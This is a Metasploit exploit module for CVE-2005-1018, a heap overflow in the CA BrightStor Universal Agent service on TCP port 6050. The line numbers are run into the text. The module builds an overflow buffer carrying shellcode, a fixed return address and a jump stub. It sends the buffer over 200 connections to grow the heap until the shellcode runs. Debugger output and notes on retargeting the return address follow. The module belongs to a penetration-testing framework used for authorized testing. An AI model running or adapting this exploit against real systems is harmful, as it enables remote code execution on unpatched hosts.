Path: blob/master/modules/exploits/windows/brightstor/universal_agent.rb
32428 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'CA BrightStor Universal Agent Overflow',15'Description' => %q{16This module exploits a convoluted heap overflow in the CA17BrightStor Universal Agent service. Triple userland18exception results in heap growth and execution of19dereferenced function pointer at a specified address.20},21'Author' => [ 'hdm' ],22'License' => MSF_LICENSE,23'References' => [24[ 'CVE', '2005-1018'],25[ 'OSVDB', '15471' ],26[ 'BID', '13102'],27[ 'URL', 'http://www.idefense.com/application/poi/display?id=232&type=vulnerabilities'],28],29'Privileged' => true,30'Payload' => {31# 250 bytes of space (bytes 0xa5 -> 0xa8 = reversed)32'Space' => 164,33'BadChars' => "\x00",34'StackAdjustment' => -350035},36'Targets' => [37[38'Magic Heap Target #1',39{40'Platform' => 'win',41'Ret' => 0x01625c44 # We grow to our own return address42},43],44],45'DisclosureDate' => '2005-04-11',46'DefaultTarget' => 0,47'Notes' => {48'Reliability' => UNKNOWN_RELIABILITY,49'Stability' => UNKNOWN_STABILITY,50'SideEffects' => UNKNOWN_SIDE_EFFECTS51}52)53)5455register_options(56[57Opt::RPORT(6050)58]59)60end6162def exploit63print_status("Trying target #{target.name}...")6465# The server reverses four bytes starting at offset 0xa5 :06667# Create the overflow string68boom = 'X' * 10246970# Required field to trigger the fault71boom[248, 2] = [1000].pack('V')7273# The shellcode, limited to 250 bytes (no nulls)74boom[256, payload.encoded.length] = payload.encoded7576# This should point to itself77boom[576, 4] = [target.ret].pack('V')7879# This points to the code below80boom[580, 4] = [target.ret + 8].pack('V')8182# We have 95 bytes, use it to hop back to shellcode83boom[584, 6] = "\x68" + [target.ret - 320].pack('V') + "\xc3"8485# Stick the protocol header in front of our request86req = "\x00\x00\x00\x00\x03\x20\xa8\x02" + boom8788# We keep making new connections and triggering the fault until89# the heap is grown to encompass our known return address. Once90# this address has been allocated and filled, each subsequent91# request will result in our shellcode being executed.92931.upto(200) do |i|94connect95print_status("Sending request #{i} of 200...") if (i % 10) == 096sock.put(req)97disconnect9899# Give the process time to recover from each exception100select(nil, nil, nil, 0.1)101end102103handler104end105end106107108__END__109012a0d91 8b8e445c0000 mov ecx,[esi+0x5c44]110012a0d97 83c404 add esp,0x4111012a0d9a 85c9 test ecx,ecx112012a0d9c 7407 jz ntagent+0x20da5 (012a0da5)113012a0d9e 8b11 mov edx,[ecx] ds:0023:41327441=???????114012a0da0 6a01 push 0x1115012a0da2 ff5204 call dword ptr [edx+0x4]116117Each request will result in another chunk being allocated, the exception118causes these chunks to never be freed. The large chunk size allows us to119predict the location of our buffer and grow our buffer to where we need it.120121If these addresses do not match up, run this exploit, then attach with WinDbg:122123> s 0 Lfffffff 0x44 0x5c 0x61 0x01124125Figure out the pattern, replace the return address, restart the service,126and run it through again. Only tested on WinXP SP1127128011b5c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........129011c5c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........130011d5c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........131011e5c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........132011f5c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........13301205c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........134[ snip ]13501605c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........13601615c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........13701625c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........13801635c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........13901645c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........14001655c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........14101665c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........14201675c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........14301685c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........14401695c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........145016a5c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........146016b5c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........147016c5c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........148016d5c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........14901725c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........150017e5c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........151152153